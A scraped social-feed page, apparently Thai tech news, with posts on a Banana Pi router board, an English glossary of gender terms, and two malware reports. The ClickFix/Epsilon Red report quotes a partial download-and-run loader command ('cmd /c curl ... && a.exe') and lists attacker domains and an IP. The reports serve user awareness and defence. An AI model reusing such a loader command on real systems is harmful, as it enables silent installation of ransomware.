• เรื่องเล่าจากข่าว: Banana Pi BPI-R4 Lite—บอร์ดเราท์เตอร์ DIY ที่แรงพอตัว แต่ไม่ใช่คู่แข่ง Raspberry Pi 5

    Banana Pi เปิดตัว BPI-R4 Lite ซึ่งเป็นบอร์ดเดี่ยวสำหรับงานเน็ตเวิร์กโดยเฉพาะ ใช้ชิป MediaTek MT7987A ที่มี 4 คอร์ Cortex-A53, RAM 2GB DDR4 และ eMMC 8GB พร้อมพอร์ตเน็ตเวิร์กครบครัน เช่น 2.5GbE SFP, 2.5GbE RJ45 WAN (รองรับ PoE), และ LAN 1GbE อีก 4 ช่อง

    จุดเด่นคือรองรับการขยายผ่าน miniPCIe และ M.2 สำหรับ Wi-Fi 7 และโมดูล 5G รวมถึงมี MikroBUS headers สำหรับงาน IoT และ automation

    แม้จะถูกนำเสนอว่าเป็นทางเลือกของ Raspberry Pi 5 แต่หลายเสียงในชุมชนกลับมองว่า BPI-R4 Lite เหมาะกับงานเราท์เตอร์มากกว่าเป็นบอร์ดเอนกประสงค์ เพราะ CPU ค่อนข้างเก่าและไม่เหมาะกับงาน compute หนัก

    Banana Pi BPI-R4 Lite ใช้ชิป MediaTek MT7987A พร้อม 4 คอร์ Cortex-A53
    RAM 2GB DDR4 และ eMMC 8GB
    มี SPI-NAND 256MB และ SPI-NOR 32MB เพิ่มเติม

    รองรับพอร์ตเน็ตเวิร์กระดับสูง เช่น 2.5GbE SFP และ RJ45 WAN พร้อม PoE
    มี LAN 1GbE อีก 4 ช่องสำหรับใช้งานเป็นเราท์เตอร์
    รองรับการขยายผ่าน miniPCIe และ M.2 สำหรับ Wi-Fi 7 และ 5G

    มี USB 3.0, USB 2.0, และ USB-C สำหรับ debug console
    USB 3.0 แชร์ทรัพยากรกับ HSGMII/SGMII ต้องเลือกใช้งาน
    รองรับการขยายผ่าน MikroBUS headers สำหรับ UART, I2C, SPI, PWM

    เหมาะกับงาน DIY router, NAS, home automation และ gateway
    รองรับ OpenWRT และระบบ Linux
    ขนาดบอร์ด 100.5x148 มม. น้ำหนัก 250 กรัม

    ราคาประมาณ $86 ซึ่งสูงกว่า Raspberry Pi 5 ที่อยู่ที่ ~$66
    เน้นฟีเจอร์ด้านเน็ตเวิร์กมากกว่าความสามารถ compute
    มีตัวเลือก Wi-Fi 7 NIC แบบ mPCIe ให้ซื้อเพิ่ม

    https://www.techpowerup.com/339505/banana-pi-launches-bpi-r4-lite-diy-router-board
    🎙️ เรื่องเล่าจากข่าว: Banana Pi BPI-R4 Lite—บอร์ดเราท์เตอร์ DIY ที่แรงพอตัว แต่ไม่ใช่คู่แข่ง Raspberry Pi 5 Banana Pi เปิดตัว BPI-R4 Lite ซึ่งเป็นบอร์ดเดี่ยวสำหรับงานเน็ตเวิร์กโดยเฉพาะ ใช้ชิป MediaTek MT7987A ที่มี 4 คอร์ Cortex-A53, RAM 2GB DDR4 และ eMMC 8GB พร้อมพอร์ตเน็ตเวิร์กครบครัน เช่น 2.5GbE SFP, 2.5GbE RJ45 WAN (รองรับ PoE), และ LAN 1GbE อีก 4 ช่อง จุดเด่นคือรองรับการขยายผ่าน miniPCIe และ M.2 สำหรับ Wi-Fi 7 และโมดูล 5G รวมถึงมี MikroBUS headers สำหรับงาน IoT และ automation แม้จะถูกนำเสนอว่าเป็นทางเลือกของ Raspberry Pi 5 แต่หลายเสียงในชุมชนกลับมองว่า BPI-R4 Lite เหมาะกับงานเราท์เตอร์มากกว่าเป็นบอร์ดเอนกประสงค์ เพราะ CPU ค่อนข้างเก่าและไม่เหมาะกับงาน compute หนัก ✅ Banana Pi BPI-R4 Lite ใช้ชิป MediaTek MT7987A พร้อม 4 คอร์ Cortex-A53 ➡️ RAM 2GB DDR4 และ eMMC 8GB ➡️ มี SPI-NAND 256MB และ SPI-NOR 32MB เพิ่มเติม ✅ รองรับพอร์ตเน็ตเวิร์กระดับสูง เช่น 2.5GbE SFP และ RJ45 WAN พร้อม PoE ➡️ มี LAN 1GbE อีก 4 ช่องสำหรับใช้งานเป็นเราท์เตอร์ ➡️ รองรับการขยายผ่าน miniPCIe และ M.2 สำหรับ Wi-Fi 7 และ 5G ✅ มี USB 3.0, USB 2.0, และ USB-C สำหรับ debug console ➡️ USB 3.0 แชร์ทรัพยากรกับ HSGMII/SGMII ต้องเลือกใช้งาน ➡️ รองรับการขยายผ่าน MikroBUS headers สำหรับ UART, I2C, SPI, PWM ✅ เหมาะกับงาน DIY router, NAS, home automation และ gateway ➡️ รองรับ OpenWRT และระบบ Linux ➡️ ขนาดบอร์ด 100.5x148 มม. น้ำหนัก 250 กรัม ✅ ราคาประมาณ $86 ซึ่งสูงกว่า Raspberry Pi 5 ที่อยู่ที่ ~$66 ➡️ เน้นฟีเจอร์ด้านเน็ตเวิร์กมากกว่าความสามารถ compute ➡️ มีตัวเลือก Wi-Fi 7 NIC แบบ mPCIe ให้ซื้อเพิ่ม https://www.techpowerup.com/339505/banana-pi-launches-bpi-r4-lite-diy-router-board
    WWW.TECHPOWERUP.COM
    Banana Pi Launches BPI-R4 Lite DIY Router Board
    The newly launched Banana Pi BPI-R4 Lite is a networking-focused single-board computer that can be an alternative to the Raspberry Pi 5. It is built around the MediaTek MT7987A system-on-chip, integrates four Arm Cortex-A53 cores and features 2 GB of DDR4 memory and 8 GB of eMMC flash storage. Conne...
    0 Comments 0 Shares 81 Views 0 Reviews
  • เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ

    ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows

    เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ

    เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น

    Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย

    Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix”
    หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans
    หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย

    ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH)
    เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0)
    ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง

    แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้
    เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย
    ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง

    Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่
    มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง
    ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส

    โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี
    เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269
    มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี

    ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก
    ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว
    การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป

    องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง
    ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว
    Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที

    การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น
    ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch
    ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ

    ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา
    การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน
    ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย

    https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    🧠 เรื่องเล่าจากข่าว: “ClickFix” กับกับดักปลอมที่เปิดทางให้ Epsilon Red เข้าระบบคุณ ตั้งแต่เดือนกรกฎาคม 2025 แฮกเกอร์เริ่มใช้หน้าเว็บปลอมที่ดูเหมือนระบบยืนยันตัวตนจากแพลตฟอร์มดัง เช่น Discord, Twitch, Kick และ OnlyFans โดยอ้างว่าเป็น “ClickFix verification” เพื่อหลอกให้ผู้ใช้ดาวน์โหลดไฟล์ .HTA ซึ่งเป็นไฟล์ HTML ที่สามารถรันสคริปต์ได้ใน Windows เมื่อผู้ใช้คลิก “ยืนยันตัวตน” หน้าเว็บจะเปิดอีกหน้าที่แอบรันคำสั่งผ่าน ActiveXObject เช่น WScript.Shell เพื่อดาวน์โหลดไฟล์ ransomware จากเซิร์ฟเวอร์ของแฮกเกอร์ แล้วรันแบบเงียบ ๆ โดยไม่แสดงหน้าต่างใด ๆ เทคนิคนี้ต่างจากเวอร์ชันเก่าที่ใช้การคัดลอกคำสั่งไปยัง clipboard—เพราะเวอร์ชันใหม่นี้รันคำสั่งโดยตรงผ่านเบราว์เซอร์ ทำให้หลบเลี่ยงระบบป้องกันได้ง่ายขึ้น Epsilon Red ransomware จะเข้ารหัสไฟล์ทั้งหมดในเครื่อง และทิ้งข้อความเรียกค่าไถ่ที่มีสไตล์คล้าย REvil แต่มีการปรับปรุงด้านไวยากรณ์เล็กน้อย ✅ Epsilon Red ransomware ถูกแพร่ผ่านไฟล์ .HTA ที่แฝงอยู่ในหน้าเว็บปลอมชื่อ “ClickFix” ➡️ หน้าเว็บปลอมอ้างว่าเป็นระบบยืนยันตัวตนจาก Discord, Twitch, Kick, OnlyFans ➡️ หลอกให้ผู้ใช้คลิกและรันไฟล์ .HTA ที่มีสคริปต์อันตราย ✅ ไฟล์ .HTA ใช้ ActiveXObject เพื่อรันคำสั่งผ่าน Windows Script Host (WSH) ➡️ เช่น shell.Run("cmd /c curl -s -o a.exe ... && a.exe", 0) ➡️ ดาวน์โหลดไฟล์ ransomware และรันแบบเงียบโดยไม่เปิดหน้าต่าง ✅ แฮกเกอร์ใช้เทคนิค social engineering เช่นข้อความยืนยันปลอมเพื่อหลอกผู้ใช้ ➡️ เช่น “Your Verificatification Code Is: PC-19fj5e9i-cje8i3e4” พร้อม typo จงใจให้ดูไม่อันตราย ➡️ ใช้คำสั่ง pause เพื่อให้หน้าต่างค้างไว้ดูเหมือนระบบจริง ✅ Epsilon Red ransomware เข้ารหัสไฟล์ทั้งหมดในเครื่องและทิ้งข้อความเรียกค่าไถ่ ➡️ มีลักษณะคล้าย REvil แต่ไม่มีความเกี่ยวข้องโดยตรง ➡️ ใช้ PowerShell scripts หลายตัวเพื่อเตรียมระบบก่อนเข้ารหัส ✅ โครงสร้างแคมเปญมีการปลอมตัวเป็นบริการยอดนิยมและใช้ IP/โดเมนเฉพาะในการโจมตี ➡️ เช่น twtich[.]cc, capchabot[.]cc และ IP 155.94.155.227:2269 ➡️ มีการใช้ Quasar RAT ร่วมด้วยในบางกรณี ‼️ ผู้ใช้ที่เปิดไฟล์ .HTA หรือใช้ Internet Explorer มีความเสี่ยงสูงมาก ⛔ ActiveX ยังเปิดใช้งานในบางระบบ Windows โดยไม่รู้ตัว ⛔ การรันคำสั่งผ่านเบราว์เซอร์สามารถหลบเลี่ยง SmartScreen และระบบป้องกันทั่วไป ‼️ องค์กรที่อนุญาตให้ใช้ปลั๊กอินเบราว์เซอร์หรือไม่จำกัดการเข้าถึงเว็บมีความเสี่ยงสูง ⛔ ผู้ใช้สามารถเข้าถึงหน้า ClickFix ปลอมและรันไฟล์ได้โดยไม่รู้ตัว ⛔ Endpoint อาจถูกเข้ารหัสและเรียกค่าไถ่ทันที ‼️ การใช้ social engineering แบบปลอมตัวเป็นบริการยอดนิยมทำให้ผู้ใช้ตกหลุมพรางง่ายขึ้น ⛔ ผู้ใช้เชื่อว่าเป็นการยืนยันตัวตนจริงจาก Discord หรือ Twitch ⛔ ไม่สงสัยว่าเป็นการโจมตีเพราะหน้าตาเว็บดูน่าเชื่อถือ ‼️ ระบบป้องกันแบบเดิมไม่สามารถตรวจจับการรันคำสั่งผ่าน ActiveX ได้ทันเวลา ⛔ การรันแบบเงียบไม่แสดงหน้าต่างหรือแจ้งเตือน ⛔ ไฟล์ถูกดาวน์โหลดและรันในหน่วยความจำโดยไม่มีร่องรอย https://hackread.com/onlyfans-discord-clickfix-pages-epsilon-red-ransomware/
    HACKREAD.COM
    OnlyFans, Discord ClickFix-Themed Pages Spread Epsilon Red Ransomware
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 Comments 0 Shares 96 Views 0 Reviews
  • Demigender, Maverique, And Other Gender Terms You May Not Know

    The language of queer identity is constantly evolving and expanding, and there will always be new terminology to learn. Pride Month is the perfect opportunity to increase understanding and awareness of the kind of emerging and newly prominent terms that we’re constantly adding to our Gender and Sexuality Dictionary.

    Language is an important part of how queer people, and particularly nonbinary and trans people, express and define their experience and who they are, whether it’s through the use of new terms or new applications of existing terms.

    Finding or coining the term that precisely reflects personal experience and identity can help a person to feel seen, accepted, or understood. It can be liberating and empowering both individually and in a way that creates community. And learning these terms helps to promote inclusion and respect.
    The explanations of the terms provided here are meant to capture the ways that most people use them. But it’s important to note that many of these terms can be and are applied in different—and equally valid—ways, with nuances and interpretations varying from person to person. It’s also important to emphasize that this list is not meant to be exhaustive—it simply covers some of the terms that have become increasingly visible in the discussion of the diverse expanse of gender.

    demigender
    Demigender is an umbrella term for people who identify partly, but not fully, with a certain gender. The prefix demi- means “half.” People who identify as demigender may use identifying terms like demigirl or demiboy.

    Demigender is distinct from bigender, which indicates two genders or a combination of two. The term demigender is sometimes considered to overlap with genderflux, which is used by people who experience a range of intensity within a gender identity.

    This means that a genderflux individual may experience the feeling of multiple genders on any given day (or moment). The term gender-fluid is sometimes used synonymously with genderflux.

    femme
    The word femme, occasionally spelled fem, comes from the French word for “woman.” It was first adopted into English to mean simply “woman” or “wife.” However, by the 1960s, it came to refer to “a lesbian who embraces identity markers that are associated with traditional expressions of femininity.” This sense of femme is often contrasted with butch, “a lesbian who embraces identity markers that are associated with traditional expressions of masculinity.”

    Separate from this long-standing sense, the term femme has taken on a broader meaning in recent years. Femme is now also used to mean “any person who adopts a feminine appearance, manner, or persona.” This meaning of femme is inclusive of all genders with a feminine aspect—it may be used by someone who identifies as a trans woman or a demigirl, for example.

    xenogender
    When it comes to expressions of gender, there are many terms that go “beyond the binary” of masculine and feminine identities. One example is xenogender, an umbrella term for nonbinary genders that do not relate to the categories of “female” or “male.” Such gender identities are often expressed by attaching -gender to a word (often a noun) that’s representative of it, like an animal, concept, or symbol, such as staticgender or sciencegender.

    The combining form xeno- means “alien” or “strange,” from the Greek xénos, meaning “stranger, guest.” Xenogender is meant to indicate a person’s sense of their gender as being completely unrelated to typical gender identities. Early uses of the term xenogender are thought to have emerged around 2017, with an increase in use beginning around 2020. Still, awareness of the term is relatively low.

    neutrois
    Like xenogender, neutrois refers to a gender identity that does not relate to male or female identities. Neutrois people are non-gendered and may transition away from having physical signifiers traditionally associated with gender expression. This is distinct from an androgynous identity, in which a person has “both masucline and feminine gender characteristics.” According to Neutrois Outpost, a website dedicated to neutrois people, the word neutrois was coined by H.A. Burnham in the 1990s. The origin of neutrois is unclear, but it is likely related to the French neutre, meaning “neuter, neither masculine nor feminine,” and trois, “three,” a reference to it representing a third gender.

    aporagender
    Another nonbinary gender identity is aporagender. Aporagender is distinct from male, female, or any gender along the binary spectrum, but still involves experiencing a strong gender identity. Like xenogender identities, aporagender identities are connected to an identity beyond a binary. This makes aporagender people different from neutrois people in that they have a gender identity.

    The word aporagender is thought to have been coined in 2014 by a user of the website Tumblr. The apora- part of the word comes from the Greek apó, meaning “away off, apart,” or “separate.” In other words, aporagender is a “separate gender,” neither male nor female nor anything in between.

    maverique
    Like aporagender, maverique was coined in 2014 by a Tumblr user, Vesper H., who defines the term on their FAQ page as an “inner conviction regarding a sense of self that is entirely independent of male/masculinity, female/femininity or anything which derives from the two while still being neither without gender, nor of a neutral gender.” In this way, a maverique gender is said to be unique and separate from the gender binary.

    The term comes from a combination of the English maverick, referring to someone who is “unorthodox” or “nonconformist,” and the French suffix -ique, meaning “having some characteristics of” or “-like,” similar to the English -ic. Maverique can be pronounced either [ mav-reek ] or [ mav-uh–reek ].

    gendervoid
    Another set of gender identities that falls under the nonbinary umbrella is gendervoid, referring to the sense that there is “an empty space,” a void, where a gender identity would be. Those who identify as gendervoid may feel unable to experience gender. When describing gender identity, void- can also be used as a prefix, as in voidboy or voidgirl, which are used for a person who identifies with some aspect of masculinity or femininity while also experiencing a gender “void.” The term is sometimes used synonymously with agender, but some make the distinction that agender represents gender neutrality while gendervoid represents a complete lack of gender.

    māhū
    Within Native Hawaiian and Tahitian cultures, the gender identity said to be between male and female is known as māhū [ ma-hoo ]. Traditionally, māhū people were highly respected in their communities for their knowledge of rituals and healing practices. While historically māhū people have faced marginalization and discrimination, there is growing recognition of them and their contributions to the life and culture of their communities.

    hijra
    While there is a variety of third genders in many cultures throughout the Indian subcontinent, one of the more common ones is hijra [ hij–ruh ], referring to “a person whose gender identity is neither male nor female, typically a person who was assigned male at birth but whose gender expression is female.” It can also more generally refer to a transgender person.

    Members of the hijra community often live apart from other communities. Believed by many Hindus to have particular religious power due to their gender, the hijra are often hired to perform dances and blessings at momentous occasions, such as weddings and births.

    fa’afafine and fa’afatama
    In Samoan culture, both in Samoa and in Samoan communities around the world, the terms fa’afafine [ fa-af-ah-feen-eh ] and fa’afatama [ fa-af-ah–tah-mah ] are used to refer to those who express both masculine and feminine gender characteristics. Fa’afafine refers to a person assigned male at birth with female characteristics, while fa’afatama refers to a person assigned female at birth with male characteristics. The prefix fa’a- means “in the manner of,” while fafine means “woman” and fatama means “man.”

    Fa’afafine and fa’afatama people are particularly noted for their role as a ceremonial host—or taupou—during rituals.

    It is important to note that māhū, hijra, fa’afafine, and fa’afatama are connected to specific cultural conceptions of gender and, as such, are not directly analogous to each other or other terms used by transgender people.

    These are only a few of the many terms you may encounter in the discussion and expression of gender identity. You can find many more in Gender and Sexuality Dictionary, which it regularly update with new terms and meanings to reflect evolving terminology.

    © 2025, Aakkhra, All rights reserved.
    Demigender, Maverique, And Other Gender Terms You May Not Know The language of queer identity is constantly evolving and expanding, and there will always be new terminology to learn. Pride Month is the perfect opportunity to increase understanding and awareness of the kind of emerging and newly prominent terms that we’re constantly adding to our Gender and Sexuality Dictionary. Language is an important part of how queer people, and particularly nonbinary and trans people, express and define their experience and who they are, whether it’s through the use of new terms or new applications of existing terms. Finding or coining the term that precisely reflects personal experience and identity can help a person to feel seen, accepted, or understood. It can be liberating and empowering both individually and in a way that creates community. And learning these terms helps to promote inclusion and respect. The explanations of the terms provided here are meant to capture the ways that most people use them. But it’s important to note that many of these terms can be and are applied in different—and equally valid—ways, with nuances and interpretations varying from person to person. It’s also important to emphasize that this list is not meant to be exhaustive—it simply covers some of the terms that have become increasingly visible in the discussion of the diverse expanse of gender. demigender Demigender is an umbrella term for people who identify partly, but not fully, with a certain gender. The prefix demi- means “half.” People who identify as demigender may use identifying terms like demigirl or demiboy. Demigender is distinct from bigender, which indicates two genders or a combination of two. The term demigender is sometimes considered to overlap with genderflux, which is used by people who experience a range of intensity within a gender identity. This means that a genderflux individual may experience the feeling of multiple genders on any given day (or moment). The term gender-fluid is sometimes used synonymously with genderflux. femme The word femme, occasionally spelled fem, comes from the French word for “woman.” It was first adopted into English to mean simply “woman” or “wife.” However, by the 1960s, it came to refer to “a lesbian who embraces identity markers that are associated with traditional expressions of femininity.” This sense of femme is often contrasted with butch, “a lesbian who embraces identity markers that are associated with traditional expressions of masculinity.” Separate from this long-standing sense, the term femme has taken on a broader meaning in recent years. Femme is now also used to mean “any person who adopts a feminine appearance, manner, or persona.” This meaning of femme is inclusive of all genders with a feminine aspect—it may be used by someone who identifies as a trans woman or a demigirl, for example. xenogender When it comes to expressions of gender, there are many terms that go “beyond the binary” of masculine and feminine identities. One example is xenogender, an umbrella term for nonbinary genders that do not relate to the categories of “female” or “male.” Such gender identities are often expressed by attaching -gender to a word (often a noun) that’s representative of it, like an animal, concept, or symbol, such as staticgender or sciencegender. The combining form xeno- means “alien” or “strange,” from the Greek xénos, meaning “stranger, guest.” Xenogender is meant to indicate a person’s sense of their gender as being completely unrelated to typical gender identities. Early uses of the term xenogender are thought to have emerged around 2017, with an increase in use beginning around 2020. Still, awareness of the term is relatively low. neutrois Like xenogender, neutrois refers to a gender identity that does not relate to male or female identities. Neutrois people are non-gendered and may transition away from having physical signifiers traditionally associated with gender expression. This is distinct from an androgynous identity, in which a person has “both masucline and feminine gender characteristics.” According to Neutrois Outpost, a website dedicated to neutrois people, the word neutrois was coined by H.A. Burnham in the 1990s. The origin of neutrois is unclear, but it is likely related to the French neutre, meaning “neuter, neither masculine nor feminine,” and trois, “three,” a reference to it representing a third gender. aporagender Another nonbinary gender identity is aporagender. Aporagender is distinct from male, female, or any gender along the binary spectrum, but still involves experiencing a strong gender identity. Like xenogender identities, aporagender identities are connected to an identity beyond a binary. This makes aporagender people different from neutrois people in that they have a gender identity. The word aporagender is thought to have been coined in 2014 by a user of the website Tumblr. The apora- part of the word comes from the Greek apó, meaning “away off, apart,” or “separate.” In other words, aporagender is a “separate gender,” neither male nor female nor anything in between. maverique Like aporagender, maverique was coined in 2014 by a Tumblr user, Vesper H., who defines the term on their FAQ page as an “inner conviction regarding a sense of self that is entirely independent of male/masculinity, female/femininity or anything which derives from the two while still being neither without gender, nor of a neutral gender.” In this way, a maverique gender is said to be unique and separate from the gender binary. The term comes from a combination of the English maverick, referring to someone who is “unorthodox” or “nonconformist,” and the French suffix -ique, meaning “having some characteristics of” or “-like,” similar to the English -ic. Maverique can be pronounced either [ mav-reek ] or [ mav-uh–reek ]. gendervoid Another set of gender identities that falls under the nonbinary umbrella is gendervoid, referring to the sense that there is “an empty space,” a void, where a gender identity would be. Those who identify as gendervoid may feel unable to experience gender. When describing gender identity, void- can also be used as a prefix, as in voidboy or voidgirl, which are used for a person who identifies with some aspect of masculinity or femininity while also experiencing a gender “void.” The term is sometimes used synonymously with agender, but some make the distinction that agender represents gender neutrality while gendervoid represents a complete lack of gender. māhū Within Native Hawaiian and Tahitian cultures, the gender identity said to be between male and female is known as māhū [ ma-hoo ]. Traditionally, māhū people were highly respected in their communities for their knowledge of rituals and healing practices. While historically māhū people have faced marginalization and discrimination, there is growing recognition of them and their contributions to the life and culture of their communities. hijra While there is a variety of third genders in many cultures throughout the Indian subcontinent, one of the more common ones is hijra [ hij–ruh ], referring to “a person whose gender identity is neither male nor female, typically a person who was assigned male at birth but whose gender expression is female.” It can also more generally refer to a transgender person. Members of the hijra community often live apart from other communities. Believed by many Hindus to have particular religious power due to their gender, the hijra are often hired to perform dances and blessings at momentous occasions, such as weddings and births. fa’afafine and fa’afatama In Samoan culture, both in Samoa and in Samoan communities around the world, the terms fa’afafine [ fa-af-ah-feen-eh ] and fa’afatama [ fa-af-ah–tah-mah ] are used to refer to those who express both masculine and feminine gender characteristics. Fa’afafine refers to a person assigned male at birth with female characteristics, while fa’afatama refers to a person assigned female at birth with male characteristics. The prefix fa’a- means “in the manner of,” while fafine means “woman” and fatama means “man.” Fa’afafine and fa’afatama people are particularly noted for their role as a ceremonial host—or taupou—during rituals. It is important to note that māhū, hijra, fa’afafine, and fa’afatama are connected to specific cultural conceptions of gender and, as such, are not directly analogous to each other or other terms used by transgender people. These are only a few of the many terms you may encounter in the discussion and expression of gender identity. You can find many more in Gender and Sexuality Dictionary, which it regularly update with new terms and meanings to reflect evolving terminology. © 2025, Aakkhra, All rights reserved.
    0 Comments 0 Shares 147 Views 0 Reviews
  • เรื่องเล่าจากโลกคริปโต: JSCEAL มัลแวร์ที่ซ่อนตัวในโฆษณาและ JavaScript

    นักวิจัยจาก Check Point พบแคมเปญมัลแวร์ขนาดใหญ่ที่เริ่มต้นตั้งแต่มีนาคม 2024 โดยใช้ชื่อว่า “JSCEAL” ซึ่งมีเป้าหมายคือผู้ใช้แอปซื้อขายคริปโตและกระเป๋าเงินดิจิทัล โดยแฮกเกอร์สร้างแอปปลอมและเว็บไซต์หลอกลวงที่ดูเหมือนของจริง แล้วโปรโมตผ่านโฆษณาบน Facebook และแพลตฟอร์มอื่น ๆ

    เมื่อเหยื่อคลิกโฆษณา จะถูกนำไปยังเว็บไซต์ปลอมที่ให้ดาวน์โหลดไฟล์ติดตั้ง MSI ซึ่งเมื่อเปิดใช้งาน จะเริ่มกระบวนการเก็บข้อมูลระบบผ่าน PowerShell และสคริปต์ JavaScript ที่ซ่อนอยู่ในเว็บไซต์ จากนั้นจะส่งข้อมูลไปยังเซิร์ฟเวอร์ของแฮกเกอร์ และหากพบว่าเครื่องมีข้อมูลสำคัญ ก็จะปล่อย payload สุดท้ายคือ JSCEAL ซึ่งทำงานผ่าน Node.js

    JSCEAL ใช้ไฟล์ JavaScript ที่ถูกคอมไพล์ด้วย V8 engine ของ Google ซึ่งทำให้โค้ดถูกซ่อนไว้อย่างแนบเนียนและหลบเลี่ยงการตรวจจับจากแอนติไวรัสได้อย่างมีประสิทธิภาพ

    JSCEAL เป็นมัลแวร์ที่ใช้ไฟล์ JavaScript แบบคอมไพล์เพื่อหลบเลี่ยงการตรวจจับ
    ใช้ฟีเจอร์ V8 JSC ของ Google เพื่อซ่อนโค้ด
    ทำให้แอนติไวรัสทั่วไปไม่สามารถวิเคราะห์ได้ก่อนการรันจริง

    แคมเปญนี้เริ่มตั้งแต่มีนาคม 2024 และยังคงแพร่กระจายอย่างต่อเนื่อง
    พบโฆษณาปลอมกว่า 35,000 รายการใน EU ภายในครึ่งแรกของปี 2025
    คาดว่ามีผู้ตกเป็นเหยื่อมากกว่า 10 ล้านคนทั่วโลก

    แฮกเกอร์ใช้โฆษณาบน Facebook เพื่อหลอกให้ติดตั้งแอปปลอม
    โฆษณาถูกโพสต์ผ่านบัญชีที่ถูกขโมยหรือสร้างใหม่
    เว็บไซต์ปลอมเลียนแบบบริการจริง เช่น TradingView

    ไฟล์ MSI ที่ดาวน์โหลดจะเปิดเว็บวิวไปยังเว็บไซต์จริงเพื่อหลอกเหยื่อ
    ใช้ msedge_proxy.exe เพื่อเปิดเว็บจริงควบคู่กับการติดตั้งมัลแวร์
    ทำให้เหยื่อไม่สงสัยว่ามีสิ่งผิดปกติเกิดขึ้น

    JSCEAL สามารถขโมยข้อมูลได้หลากหลายประเภท
    รหัสผ่าน, คุกกี้, seed phrase, ข้อมูล Telegram, ภาพหน้าจอ, keystroke
    สามารถดักจับเว็บทราฟฟิกและฝังสคริปต์ในเว็บไซต์ธนาคารหรือคริปโต

    มัลแวร์มีโครงสร้างแบบหลายชั้นและปรับเปลี่ยน payload ได้ตามสถานการณ์
    ใช้ fingerprinting scripts เพื่อประเมินความคุ้มค่าของเหยื่อก่อนปล่อย payload
    มีการตั้ง proxy ภายในเครื่องเพื่อดักข้อมูลแบบ real-time

    https://www.techradar.com/pro/security/major-new-malware-strain-targets-crypto-users-via-malicious-ads-heres-what-we-know-and-how-to-stay-safe
